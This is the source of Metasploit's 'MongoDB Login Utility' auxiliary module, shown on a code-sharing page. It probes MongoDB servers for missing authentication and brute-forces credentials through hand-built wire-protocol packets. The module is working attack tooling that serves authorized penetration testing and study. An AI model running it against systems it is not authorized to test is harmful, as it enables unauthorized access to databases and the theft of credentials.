Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mongodb/mongodb_login.rb
28052 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::AuthBrute
9
include Msf::Auxiliary::Scanner
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MongoDB Login Utility',
17
'Description' => %q{
18
This module attempts to brute force authentication credentials for MongoDB.
19
Note that, by default, MongoDB does not require authentication.
20
},
21
'References' => [
22
[ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ],
23
[ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ]
24
],
25
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
26
'License' => MSF_LICENSE,
27
'Notes' => {
28
'Reliability' => UNKNOWN_RELIABILITY,
29
'Stability' => UNKNOWN_STABILITY,
30
'SideEffects' => UNKNOWN_SIDE_EFFECTS
31
}
32
)
33
)
34
35
register_options(
36
[
37
Opt::RPORT(27017),
38
OptString.new('DB', [ true, "Database to use", "admin"])
39
]
40
)
41
end
42
43
def run_host(ip)
44
print_status("Scanning IP: #{ip.to_s}")
45
begin
46
connect
47
if require_auth?
48
each_user_pass { |user, pass|
49
do_login(user, pass)
50
}
51
else
52
report_vuln(
53
:host => rhost,
54
:port => rport,
55
:name => "MongoDB No Authentication",
56
:refs => self.references,
57
:exploited_at => Time.now.utc,
58
:info => "Mongo server has no authentication."
59
)
60
print_good("Mongo server #{ip.to_s} doesn't use authentication")
61
end
62
disconnect
63
rescue ::Exception => e
64
print_error "Unable to connect: #{e.to_s}"
65
return
66
end
67
end
68
69
def require_auth?
70
request_id = Rex::Text.rand_text(4)
71
packet = "\x3f\x00\x00\x00" # messageLength (63)
72
packet << request_id # requestID
73
packet << "\xff\xff\xff\xff" # responseTo
74
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
75
packet << "\x00\x00\x00\x00" # flags
76
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)
77
packet << "\x00\x00\x00\x00" # numberToSkip (0)
78
packet << "\x01\x00\x00\x00" # numberToReturn (1)
79
# query ({"listDatabases"=>1})
80
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
81
82
sock.put(packet)
83
response = sock.recv(1024)
84
85
have_auth_error?(response)
86
end
87
88
def do_login(user, password)
89
vprint_status("Trying user: #{user}, password: #{password}")
90
nonce = get_nonce
91
status = auth(user, password, nonce)
92
return status
93
end
94
95
def auth(user, password, nonce)
96
request_id = Rex::Text.rand_text(4)
97
packet = request_id # requestID
98
packet << "\xff\xff\xff\xff" # responseTo
99
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
100
packet << "\x00\x00\x00\x00" # flags
101
packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)
102
packet << "\x00\x00\x00\x00" # numberToSkip (0)
103
packet << "\xff\xff\xff\xff" # numberToReturn (1)
104
105
# {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
106
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
107
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
108
document << [user.length + 1].pack("L") # +1 due null byte termination
109
document << user + "\x00"
110
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
111
document << nonce + "\x00"
112
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
113
document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00"
114
document << "\x00"
115
# Calculate document length
116
document.insert(0, [document.length + 4].pack("L"))
117
118
packet += document
119
120
# Calculate messageLength
121
packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength
122
sock.put(packet)
123
response = sock.recv(1024)
124
unless have_auth_error?(response)
125
print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")
126
report_cred(
127
ip: rhost,
128
port: rport,
129
service_name: 'mongodb',
130
user: user,
131
password: password,
132
proof: response.inspect
133
)
134
return :next_user
135
end
136
137
return
138
end
139
140
def report_cred(opts)
141
service_data = {
142
address: opts[:ip],
143
port: opts[:port],
144
service_name: opts[:service_name],
145
protocol: 'tcp',
146
workspace_id: myworkspace_id
147
}
148
149
credential_data = {
150
origin_type: :service,
151
module_fullname: fullname,
152
username: opts[:user],
153
private_data: opts[:password],
154
private_type: :password
155
}.merge(service_data)
156
157
login_data = {
158
last_attempted_at: Time.now,
159
core: create_credential(credential_data),
160
status: Metasploit::Model::Login::Status::SUCCESSFUL,
161
proof: opts[:proof]
162
}.merge(service_data)
163
164
create_credential_login(login_data)
165
end
166
167
def get_nonce
168
request_id = Rex::Text.rand_text(4)
169
packet = "\x3d\x00\x00\x00" # messageLength (61)
170
packet << request_id # requestID
171
packet << "\xff\xff\xff\xff" # responseTo
172
packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)
173
packet << "\x00\x00\x00\x00" # flags
174
packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd)
175
packet << "\x00\x00\x00\x00" # numberToSkip (0)
176
packet << "\x01\x00\x00\x00" # numberToReturn (1)
177
# query {"getnonce"=>1.0}
178
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
179
180
sock.put(packet)
181
response = sock.recv(1024)
182
documents = response[36..1024]
183
# {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
184
nonce = documents[15..30]
185
end
186
187
def have_auth_error?(response)
188
# Response header 36 bytes long
189
documents = response[36..1024]
190
# {"errmsg"=>"auth fails", "ok"=>0.0}
191
# {"errmsg"=>"need to login", "ok"=>0.0}
192
if documents.include?('errmsg')
193
return true
194
else
195
return false
196
end
197
end
198
end
199
200